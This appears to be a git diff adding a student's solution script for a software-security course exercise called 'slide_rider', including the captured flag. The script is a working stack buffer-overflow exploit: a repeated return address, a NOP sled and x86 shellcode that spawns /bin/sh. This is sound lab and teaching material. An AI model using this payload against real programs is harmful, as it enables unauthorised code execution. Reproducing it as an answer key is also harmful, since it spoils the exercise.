diff --git a/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh b/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh new file mode 100755 index 0000000..80fe801 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/ + +# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN} + +######### Exploit ######### +# Step 1: Fill the buffer with a candidate return address +printf "\x0c\xd6\xff\xff%.0s" {1..30} + +# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode +printf "\x90%.0s" {1..2000} + +# Step 3: Write the provided shellcode to stdout +printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" +###########################